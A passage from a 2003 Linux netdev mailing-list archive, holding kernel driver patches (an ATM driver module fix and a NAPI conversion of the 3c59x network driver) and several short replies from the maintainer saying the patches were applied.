patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1444 -> 1.1445 # drivers/atm/uPD98402.c 1.7 -> 1.8 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/21 chas@relax.cmf.nrl.navy.mil 1.1445 # uPD98402.c: # [ATM]: [uPD98402] exported symbols should not be marked __init # -------------------------------------------- # diff -Nru a/drivers/atm/uPD98402.c b/drivers/atm/uPD98402.c --- a/drivers/atm/uPD98402.c Sun Sep 21 10:42:35 2003 +++ b/drivers/atm/uPD98402.c Sun Sep 21 10:42:35 2003 @@ -246,7 +246,7 @@ }; -int __init uPD98402_init(struct atm_dev *dev) +int uPD98402_init(struct atm_dev *dev) { DPRINTK("phy_init\n"); dev->phy = &uPD98402_ops; From chas@cmf.nrl.navy.mil Sun Sep 21 07:49:00 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Sep 2003 07:49:05 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8LEmxFx029146 for ; Sun, 21 Sep 2003 07:49:00 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8LEmtkT023791; Sun, 21 Sep 2003 10:48:56 -0400 (EDT) Message-Id: <200309211448.h8LEmtkT023791@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: [zatm] correct way to prevent module unload (from shemminger@osdl.org) Reply-To: chas3@users.sourceforge.net Date: Sun, 21 Sep 2003 10:48:56 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 126 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 1009 Lines: 31 please apply to 2.6. --thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1442 -> 1.1443 # drivers/atm/zatm.c 1.20 -> 1.21 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/16 chas@relax.cmf.nrl.navy.mil 1.1443 # [ATM]: [zatm] correct way to prevent module unload (from shemminger@osdl.org) # -------------------------------------------- # diff -Nru a/drivers/atm/zatm.c b/drivers/atm/zatm.c --- a/drivers/atm/zatm.c Sun Sep 21 09:36:31 2003 +++ b/drivers/atm/zatm.c Sun Sep 21 09:36:31 2003 @@ -1617,11 +1617,10 @@ out: kfree(zatm_dev); - /* XXX: currently the driver is not unloadable.. */ - MOD_INC_USE_COUNT; return 0; } MODULE_LICENSE("GPL"); module_init(zatm_module_init); +/* module_exit not defined so not unloadable */ From smarchetto1@tin.it Sun Sep 21 16:17:27 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Sep 2003 16:17:38 -0700 (PDT) Received: from vsmtp2.tin.it (vsmtp2.tin.it [212.216.176.222]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8LNHPFx014459 for ; Sun, 21 Sep 2003 16:17:27 -0700 Received: from localhost (80.117.112.68) by vsmtp2.tin.it (7.0.019) id 3F4F193C00A5D501; Sun, 21 Sep 2003 17:26:19 +0200 Subject: 3c59x 2.6 napi patch From: "Michele 'mydecay' Marchetto" Reply-To: smarchetto1@tin.it To: netdev@oss.sgi.com, linux-net@vger.kernel.org Content-Type: multipart/mixed; boundary="=-IibwKLao1tB7u9ri9T2x" Message-Id: <1064157774.942.3.camel@localhost> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.3 Date: 21 Sep 2003 17:22:54 +0200 X-archive-position: 127 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: smarchetto1@tin.it Precedence: bulk X-list: netdev Content-Length: 15919 Lines: 433 --=-IibwKLao1tB7u9ri9T2x Content-Type: text/plain Content-Transfer-Encoding: 7bit hi all this is the trivial patch to get napi work on 2.6. it is designed for 3com 3c59x nic series. regards -- Michele 'mydecay' Marchetto S.P.I.N.E. Group - www.spine-group.org --=-IibwKLao1tB7u9ri9T2x Content-Disposition: attachment; filename=3c59x.diff Content-Type: text/plain; name=3c59x.diff; charset=ANSI_X3.4-1968 Content-Transfer-Encoding: 7bit --- 3c59x.c.old 2003-09-08 20:29:52.000000000 +0200 +++ 3c59x.c 2003-09-21 16:58:40.451344112 +0200 @@ -204,7 +204,7 @@ /* A few values that may be tweaked. */ /* Keep the ring sizes a power of two for efficiency. */ #define TX_RING_SIZE 16 -#define RX_RING_SIZE 32 +#define RX_RING_SIZE 128 #define PKT_BUF_SZ 1536 /* Size of each temporary Rx buffer.*/ /* "Knobs" that adjust features and parameters. */ @@ -889,7 +889,7 @@ static int vortex_start_xmit(struct sk_buff *skb, struct net_device *dev); static int boomerang_start_xmit(struct sk_buff *skb, struct net_device *dev); static int vortex_rx(struct net_device *dev); -static int boomerang_rx(struct net_device *dev); +static int boomerang_poll(struct net_device *dev, int *budget); static irqreturn_t vortex_interrupt(int irq, void *dev_id, struct pt_regs *regs); static irqreturn_t boomerang_interrupt(int irq, void *dev_id, struct pt_regs *regs); static int vortex_close(struct net_device *dev); @@ -1419,6 +1419,8 @@ } vp->full_bus_master_rx = (vp->info2 & 1) ? 1 : 2; vp->bus_master = 0; /* AKPM: vortex only */ + dev->poll = boomerang_poll; + dev->weight = 16; } /* The 3c59x-specific entries in the device structure. */ @@ -2004,7 +2006,7 @@ printk(KERN_WARNING "%s: Updating statistics failed, disabling " "stats as an interrupt source.\n", dev->name); EL3WINDOW(5); - outw(SetIntrEnb | (inw(ioaddr + 10) & ~StatsFull), ioaddr + EL3_CMD); + outw(vp->intr_enable, ioaddr + EL3_CMD); vp->intr_enable &= ~StatsFull; EL3WINDOW(7); DoneDidThat++; @@ -2306,6 +2308,57 @@ return IRQ_RETVAL(handled); } +inline int tx_ring_free(struct net_device *dev) +{ + struct vortex_private *vp = (struct vortex_private *)dev->priv; + int tx = 0; + unsigned int dirty_tx = vp->dirty_tx; + long ioaddr = dev->base_addr; + + while (vp->cur_tx - dirty_tx > 0) { + int entry = dirty_tx % TX_RING_SIZE; +#if 1 /* AKPM: the latter is faster, but cyclone-only */ + if (inl(ioaddr + DownListPtr) == + vp->tx_ring_dma + entry * sizeof(struct boom_tx_desc)) + break; /* It still hasn't been processed. */ +#else + if ((vp->tx_ring[entry].status & DN_COMPLETE) == 0) + break; /* It still hasn't been processed. */ +#endif + + if (vp->tx_skbuff[entry]) { + struct sk_buff *skb = vp->tx_skbuff[entry]; +#if DO_ZEROCOPY + int i; + for (i=0; i<=skb_shinfo(skb)->nr_frags; i++) + pci_unmap_single(VORTEX_PCI(vp), + le32_to_cpu(vp->tx_ring[entry].frag[i].addr), + le32_to_cpu(vp->tx_ring[entry].frag[i].length)&0xFFF, + PCI_DMA_TODEVICE); +#else + pci_unmap_single(vp->pdev, + le32_to_cpu(vp->tx_ring[entry].addr), skb->len, PCI_DMA_TODEVICE); +#endif + dev_kfree_skb_irq(skb); + vp->tx_skbuff[entry] = 0; + } else { + printk(KERN_DEBUG "boomerang_interrupt: no skb!\n"); + } + /* vp->stats.tx_packets++; Counted below. */ + dirty_tx++; + tx++; + } + + if (vp->cur_tx - dirty_tx <= TX_RING_SIZE - 1) { + if (vortex_debug > 6) + printk(KERN_DEBUG "boomerang_interrupt: wake queue\n"); + netif_wake_queue (dev); + } + + vp->dirty_tx = dirty_tx; + return tx; +} + /* * This is the ISR for the boomerang series chips. * full_bus_master_tx == 1 && full_bus_master_rx == 1 @@ -2352,57 +2405,24 @@ dev->name, status, inb(ioaddr + Timer)); do { if (vortex_debug > 5) - printk(KERN_DEBUG "%s: In interrupt loop, status %4.4x.\n", - dev->name, status); + printk(KERN_DEBUG "%s: In interrupt loop, status %4.4x.\n", + dev->name, status); + if (status & UpComplete) { outw(AckIntr | UpComplete, ioaddr + EL3_CMD); - if (vortex_debug > 5) - printk(KERN_DEBUG "boomerang_interrupt->boomerang_rx\n"); - boomerang_rx(dev); + if (netif_rx_schedule_prep(dev)) { + /* Do masking under poll protection. */ + vp->intr_enable &= ~(UpComplete | StatsFull); + outw(vp->intr_enable, ioaddr + EL3_CMD); + if (vortex_debug > 5) + printk(KERN_DEBUG "boomerang_interrupt->boomerang_rx\n"); + __netif_rx_schedule(dev); + } } if (status & DownComplete) { - unsigned int dirty_tx = vp->dirty_tx; - outw(AckIntr | DownComplete, ioaddr + EL3_CMD); - while (vp->cur_tx - dirty_tx > 0) { - int entry = dirty_tx % TX_RING_SIZE; -#if 1 /* AKPM: the latter is faster, but cyclone-only */ - if (inl(ioaddr + DownListPtr) == - vp->tx_ring_dma + entry * sizeof(struct boom_tx_desc)) - break; /* It still hasn't been processed. */ -#else - if ((vp->tx_ring[entry].status & DN_COMPLETE) == 0) - break; /* It still hasn't been processed. */ -#endif - - if (vp->tx_skbuff[entry]) { - struct sk_buff *skb = vp->tx_skbuff[entry]; -#if DO_ZEROCOPY - int i; - for (i=0; i<=skb_shinfo(skb)->nr_frags; i++) - pci_unmap_single(VORTEX_PCI(vp), - le32_to_cpu(vp->tx_ring[entry].frag[i].addr), - le32_to_cpu(vp->tx_ring[entry].frag[i].length)&0xFFF, - PCI_DMA_TODEVICE); -#else - pci_unmap_single(VORTEX_PCI(vp), - le32_to_cpu(vp->tx_ring[entry].addr), skb->len, PCI_DMA_TODEVICE); -#endif - dev_kfree_skb_irq(skb); - vp->tx_skbuff[entry] = 0; - } else { - printk(KERN_DEBUG "boomerang_interrupt: no skb!\n"); - } - /* vp->stats.tx_packets++; Counted below. */ - dirty_tx++; - } - vp->dirty_tx = dirty_tx; - if (vp->cur_tx - dirty_tx <= TX_RING_SIZE - 1) { - if (vortex_debug > 6) - printk(KERN_DEBUG "boomerang_interrupt: wake queue\n"); - netif_wake_queue (dev); - } + tx_ring_free(dev); } /* Check for all uncommon interrupts at once. */ @@ -2508,20 +2528,62 @@ } static int -boomerang_rx(struct net_device *dev) +boomerang_refill_rx(struct net_device *dev) +{ + struct vortex_private *vp = (struct vortex_private *)dev->priv; + long ioaddr = dev->base_addr; + int entry; + int refilled = 0; + + /* Refill the Rx ring buffers. */ + for (; vp->cur_rx - vp->dirty_rx > 0; vp->dirty_rx++) { + struct sk_buff *skb; + entry = vp->dirty_rx % RX_RING_SIZE; + if (vp->rx_skbuff[entry] == NULL) { + skb = dev_alloc_skb(PKT_BUF_SZ); + if (skb == NULL) + break; + + skb->dev = dev; /* Mark as being used by this device. */ + skb_reserve(skb, 2); /* Align IP on 16 byte boundaries */ + vp->rx_ring[entry].addr = cpu_to_le32(pci_map_single(VORTEX_PCI(vp), skb->tail, PKT_BUF_SZ, PCI_DMA_FROMDEVICE)); + vp->rx_skbuff[entry] = skb; + + refilled++; + } + vp->rx_ring[entry].status = 0; /* Clear complete bit. */ + outw(UpUnstall, ioaddr + EL3_CMD); + } + + /* @@@ restart RX ? */ + + return refilled; +} + +static int +boomerang_poll(struct net_device *dev, int *budget) { struct vortex_private *vp = (struct vortex_private *)dev->priv; int entry = vp->cur_rx % RX_RING_SIZE; long ioaddr = dev->base_addr; int rx_status; - int rx_work_limit = vp->dirty_rx + RX_RING_SIZE - vp->cur_rx; + int rx_work_limit = *budget; + int received = 0; + if (vortex_debug > 5) printk(KERN_DEBUG "boomerang_rx(): status %4.4x\n", inw(ioaddr+EL3_STATUS)); + if (rx_work_limit > dev->quota) + rx_work_limit = dev->quota; + +restart: + while ((rx_status = le32_to_cpu(vp->rx_ring[entry].status)) & RxDComplete){ - if (--rx_work_limit < 0) + if (vp->dirty_rx + RX_RING_SIZE == vp->cur_rx) break; + if (--rx_work_limit < 0) + goto not_done; if (rx_status & RxDError) { /* Error, update stats. */ unsigned char rx_error = rx_status >> 16; if (vortex_debug > 2) @@ -2571,38 +2633,111 @@ vp->rx_csumhits++; } } - netif_rx(skb); + netif_receive_skb(skb); dev->last_rx = jiffies; vp->stats.rx_packets++; } + received++; + entry = (++vp->cur_rx) % RX_RING_SIZE; + if (vp->cur_rx - vp->dirty_rx > RX_RING_SIZE/4) + boomerang_refill_rx(dev); } - /* Refill the Rx ring buffers. */ - for (; vp->cur_rx - vp->dirty_rx > 0; vp->dirty_rx++) { - struct sk_buff *skb; - entry = vp->dirty_rx % RX_RING_SIZE; - if (vp->rx_skbuff[entry] == NULL) { - skb = dev_alloc_skb(PKT_BUF_SZ); - if (skb == NULL) { - static unsigned long last_jif; - if ((jiffies - last_jif) > 10 * HZ) { - printk(KERN_WARNING "%s: memory shortage\n", dev->name); - last_jif = jiffies; - } - if ((vp->cur_rx - vp->dirty_rx) == RX_RING_SIZE) - mod_timer(&vp->rx_oom_timer, RUN_AT(HZ * 1)); - break; /* Bad news! */ - } - skb->dev = dev; /* Mark as being used by this device. */ - skb_reserve(skb, 2); /* Align IP on 16 byte boundaries */ - vp->rx_ring[entry].addr = cpu_to_le32(pci_map_single(VORTEX_PCI(vp), skb->tail, PKT_BUF_SZ, PCI_DMA_FROMDEVICE)); - vp->rx_skbuff[entry] = skb; - } - vp->rx_ring[entry].status = 0; /* Clear complete bit. */ - outw(UpUnstall, ioaddr + EL3_CMD); + + boomerang_refill_rx(dev); + if (vp->rx_skbuff[vp->dirty_rx % RX_RING_SIZE] == NULL) + goto oom; + + #if 0 + /* @@@ disable receive interrupt */ + if (jiffies - dev->last_rx == 0) { + vp->intr_enable &= ~(UpComplete | StatsFull); + outw(vp->intr_enable, ioaddr + EL3_CMD); + goto not_done; } - return 0; -} +#endif + +/* MAJOR QUESTION: I see this driver uses vp->lock even around __RX__ intrs! + * If this is really necessary, it is fatal flaw. I am afraid such device + * cannot be handled with NAPI at all. Or for beginning this funny lock + * is to be removed for normal irq driven case. + */ + +/* So, I assume that 3c95x loses irqs when being with disabled intrs + * (but still hope that the assumption is wrong and this is not required. + * Lennert, did you really try the scheme exactly matching tulip? + * Actually, I see one place where boomerang could lose irq even if semantics + * of its irq mask is right i.e. tulip-like. It is vp->intr_enable. + * Tulip does _not_ hold mirror of irq mask in a state variable. See? + * 3com does and hence can occasionally corrupt it while concurrent ands/ors. + * If you remove clearing of rx bits in vp->intr_enable, it can be repaired + * without ugly tricks). + * + * OK. Assume the worst variant. + */ + + /* ALL THE STATE UPDATES MUST be done before netif_rx_complete(), + * which releases the device for another contexts. */ + + dev->quota -= received; + + /* Change intr_enable in context serialized wrt irq. See also above. + * However look at vortex_error... intr_enable is changed there too... */ + + vp->intr_enable |= UpComplete | StatsFull; /* @@@ */ + outw(vp->intr_enable, ioaddr + EL3_CMD); + + netif_rx_complete(dev); + /* ---< now this function can be reentered on another cpu. */ + + /* In the case of misfortune (packet arrived in race window), we + * try to reschedule poll. If the irq already arrived and this happened + * after netif_rx_complete() released device poll is already scheduled + * (on this or on another cpu) and we just return. Otherwise, we undo + * state changes and return to ring processing until quota exhausts. + * + * WARNING. IRQ status cannot be checked here, because irq handler + * has to reset it before exit from irq handler no matter poll is + * scheduled or it did not. + */ + + if ((le32_to_cpu(vp->rx_ring[vp->cur_rx % RX_RING_SIZE].status) & RxDComplete) + && vp->dirty_rx + RX_RING_SIZE != vp->cur_rx + && netif_rx_reschedule(dev, received)) { + /* ACK may be pure loss of time. */ + outw(AckIntr | UpComplete, ioaddr + EL3_CMD); + vp->intr_enable &= ~(UpComplete | StatsFull); + outw(vp->intr_enable, ioaddr + EL3_CMD); + entry = vp->cur_rx % RX_RING_SIZE; + goto restart; + } + + *budget -= received; + + return 0; + +not_done: + if (vp->cur_rx - vp->dirty_rx > RX_RING_SIZE/2 || + vp->rx_skbuff[vp->dirty_rx % RX_RING_SIZE] == NULL) + boomerang_refill_rx(dev); + + if (!received) + received = dev->quota; + + dev->quota -= received; + *budget -= received; + + return 1; + +oom: + if (vortex_debug > 1) + printk(KERN_WARNING "%s: in rx suspend mode\n", dev->name); + + mod_timer(&vp->rx_oom_timer, RUN_AT(HZ * 1)); + netif_rx_complete(dev); + + return 0; + } /* * If we've hit a total OOM refilling the Rx ring we poll once a second @@ -2612,16 +2747,35 @@ rx_oom_timer(unsigned long arg) { struct net_device *dev = (struct net_device *)arg; +#if 0 struct vortex_private *vp = (struct vortex_private *)dev->priv; + int budget = 1; + +/********************* FULL SHIT!!! *********************************** + boomerang_poll cannot be called with vp->lock held, it is 100% deadlock. + Also, it cannot be called with irq disabled, it is 100% crash. + BTW: no doubts it is the case when Lennert saw BUG() asserting + unscheduled poll, this boomerang_poll is surely unscheduled. + **********************************************************************/ + spin_lock_irq(&vp->lock); - spin_lock_irq(&vp->lock); if ((vp->cur_rx - vp->dirty_rx) == RX_RING_SIZE) /* This test is redundant, but makes me feel good */ - boomerang_rx(dev); + boomerang_poll(dev, &budget); if (vortex_debug > 1) { printk(KERN_DEBUG "%s: rx_oom_timer %s\n", dev->name, ((vp->cur_rx - vp->dirty_rx) != RX_RING_SIZE) ? "succeeded" : "retrying"); } spin_unlock_irq(&vp->lock); +#else + /* Essentially, this is all, which is possible to make here. */ + netif_rx_schedule(dev); + + /* Robert, oom_timer in tilip of 011015 suffers of similar desease. + * We _cannot_ refill ring from timer not serializing it wrt refill from + * poll and/or irq. So, either add necessary locking bits f.e. like + * it is made in acenic or return to tulip's internal timer. + */ +#endif } static void --=-IibwKLao1tB7u9ri9T2x-- From davem@pizda.ninka.net Sun Sep 21 18:06:44 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Sep 2003 18:06:51 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8M16iFx021451 for ; Sun, 21 Sep 2003 18:06:44 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id RAA23996; Sun, 21 Sep 2003 17:53:58 -0700 Date: Sun, 21 Sep 2003 17:53:58 -0700 From: "David S. Miller" To: Wensong Zhang Cc: shemminger@osdl.org, lvs-users@LinuxVirtualServer.org, netdev@oss.sgi.com Subject: Re: [PATCH] (4/6) ipvs -- use reader locks and refcounts correctly. Message-Id: <20030921175358.329774aa.davem@redhat.com> In-Reply-To: References: <20030920010010.7ed69543.davem@redhat.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 129 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 463 Lines: 17 On Sat, 20 Sep 2003 23:39:10 +0800 (CST) Wensong Zhang wrote: > On Sat, 20 Sep 2003, David S. Miller wrote: > > > On Thu, 18 Sep 2003 00:44:16 +0800 (CST) > > Wensong Zhang wrote: > > > > > So, maybe we just apply the simple patch with making the lock local and > > > tagging user pointers. > > > > Can someone put such a patch together for me? > > > > Please see the attached patch. Applied, thanks Wensong. From davem@pizda.ninka.net Sun Sep 21 18:06:08 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Sep 2003 18:06:14 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8M167Fx021278 for ; Sun, 21 Sep 2003 18:06:07 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id RAA23990; Sun, 21 Sep 2003 17:53:25 -0700 Date: Sun, 21 Sep 2003 17:53:25 -0700 From: "David S. Miller" To: Bart De Schuymer Cc: laforge@netfilter.org, hno@marasystems.com, acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com Subject: Re: ipt_physdev.c alignment problems on parisc64 Message-Id: <20030921175325.0ca95fff.davem@redhat.com> In-Reply-To: <200309201332.13167.bdschuym@pandora.be> References: <200309022116.41697.bdschuym@pandora.be> <200309172317.38348.bdschuym@pandora.be> <20030918194802.6726d53c.davem@redhat.com> <200309201332.13167.bdschuym@pandora.be> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 128 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 365 Lines: 13 On Sat, 20 Sep 2003 13:32:12 +0200 Bart De Schuymer wrote: > On Friday 19 September 2003 04:48, David S. Miller wrote: > > Don't use an alignment attribute, just put the member of > > the struct at the very beginning and use "unsigned int" > > at a time op+comparisons. > > > > How about that? > > Fine with me. Patch applied, thanks Bart. From davem@pizda.ninka.net Sun Sep 21 18:20:24 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Sep 2003 18:20:28 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8M1KNFx022929 for ; Sun, 21 Sep 2003 18:20:24 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id SAA24146; Sun, 21 Sep 2003 18:07:40 -0700 Date: Sun, 21 Sep 2003 18:07:40 -0700 From: "David S. Miller" To: Vinay K Nallamothu Cc: netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: [PATCH 2.6.0-test5][NETROM] timer code cleanup Message-Id: <20030921180740.0051dd30.davem@redhat.com> In-Reply-To: <1064145739.4349.28.camel@lima.royalchallenge.com> References: <1064145739.4349.28.camel@lima.royalchallenge.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 130 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 320 Lines: 8 On Sun, 21 Sep 2003 17:32:19 +0530 Vinay K Nallamothu wrote: > 1. move timer initialization into nr_init_timers so that we can use mod_timer > 2. remove skb queue purge in af_netrom as its already done by nr_clear_queues > 3. Use del_timer_sync in nr_loopback_clear Looks good, applied. From davem@pizda.ninka.net Sun Sep 21 18:21:55 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Sep 2003 18:21:59 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8M1LtFx023278 for ; Sun, 21 Sep 2003 18:21:55 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id SAA24172; Sun, 21 Sep 2003 18:08:41 -0700 Date: Sun, 21 Sep 2003 18:08:40 -0700 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [eni] correct way to prevent module unload (from shemminger@osdl.org) Message-Id: <20030921180840.6457b06d.davem@redhat.com> In-Reply-To: <200309211444.h8LEiakT023723@ginger.cmf.nrl.navy.mil> References: <200309211444.h8LEiakT023723@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 131 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 217 Lines: 8 On Sun, 21 Sep 2003 10:44:37 -0400 chas williams wrote: > please apply to 2.6. --thanks .. > # [ATM]: [eni] correct way to prevent module unload (from shemminger@osdl.org) Applied, thanks. From davem@pizda.ninka.net Sun Sep 21 18:22:03 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Sep 2003 18:22:08 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8M1M3Fx023316 for ; Sun, 21 Sep 2003 18:22:03 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id SAA24197; Sun, 21 Sep 2003 18:09:23 -0700 Date: Sun, 21 Sep 2003 18:09:23 -0700 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [firestream] allow module refcounting Message-Id: <20030921180923.2a0b16da.davem@redhat.com> In-Reply-To: <200309211445.h8LEj1kT023729@ginger.cmf.nrl.navy.mil> References: <200309211445.h8LEj1kT023729@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 132 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 186 Lines: 8 On Sun, 21 Sep 2003 10:45:01 -0400 chas williams wrote: > please apply to 2.6. --thanks ... > # [ATM]: [firestream] allow module refcounting Applied, thanks. From davem@pizda.ninka.net Sun Sep 21 18:22:43 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Sep 2003 18:22:48 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8M1MhFx023847 for ; Sun, 21 Sep 2003 18:22:43 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id SAA24220; Sun, 21 Sep 2003 18:10:03 -0700 Date: Sun, 21 Sep 2003 18:10:03 -0700 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [idt77252] get rid of MOD_INC/MOD_DEC Message-Id: <20030921181003.2c6c6f2d.davem@redhat.com> In-Reply-To: <200309211445.h8LEjbkT023734@ginger.cmf.nrl.navy.mil> References: <200309211445.h8LEjbkT023734@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 133 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 186 Lines: 8 On Sun, 21 Sep 2003 10:45:38 -0400 chas williams wrote: > please apply to 2.6. --thanks ... > # [ATM]: [idt77252] get rid of MOD_INC/MOD_DEC Applied, thanks. From davem@pizda.ninka.net Sun Sep 21 18:23:20 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Sep 2003 18:23:26 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8M1NJFx024197 for ; Sun, 21 Sep 2003 18:23:20 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id SAA24228; Sun, 21 Sep 2003 18:10:40 -0700 Date: Sun, 21 Sep 2003 18:10:40 -0700 From: "David S. Miller" To: chas3@users.sourceforge.net Cc: chas@cmf.nrl.navy.mil, netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [idt77252] get rid of MOD_INC/MOD_DEC Message-Id: <20030921181040.7d657b98.davem@redhat.com> In-Reply-To: <200309211445.h8LEjbkT023734@ginger.cmf.nrl.navy.mil> References: <200309211445.h8LEjbkT023734@ginger.cmf.nrl.navy.mil> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 134 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 186 Lines: 8 On Sun, 21 Sep 2003 10:45:38 -0400 chas williams wrote: > please apply to 2.6. --thanks ... > # [ATM]: [idt77252] get rid of MOD_INC/MOD_DEC Applied, thanks. From davem@pizda.ninka.net Sun Sep 21 18:24:15 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Sep 2003 18:24:21 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8M1OFFx024616 for ; Sun, 21 Sep 2003 18:24:15 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id SAA24259; Sun, 21 Sep 2003 18:11:35 -0700 Date: Sun, 21 Sep 2003 18:11:34 -0700 From: "David S. Miller" To: chas3@users.sourceforge.net 